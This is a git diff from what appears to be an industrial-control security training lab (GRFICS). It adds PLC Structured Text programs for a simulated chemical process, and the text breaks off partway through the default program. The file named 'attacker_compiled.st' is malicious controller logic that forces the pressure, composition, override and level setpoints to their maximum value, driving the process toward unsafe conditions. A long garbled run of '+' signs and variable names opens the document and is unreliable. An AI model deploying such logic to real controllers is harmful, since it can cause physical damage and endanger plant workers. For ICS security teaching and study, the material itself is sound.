+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_sp_real + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + flow_k + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/attacker_compiled.st b/plc/GRFICS_Workstation_Docs/attacker_compiled.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/attacker_compiled.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/default_compiled.st b/plc/GRFICS_Workstation_Docs/default_compiled.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/default_compiled.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + 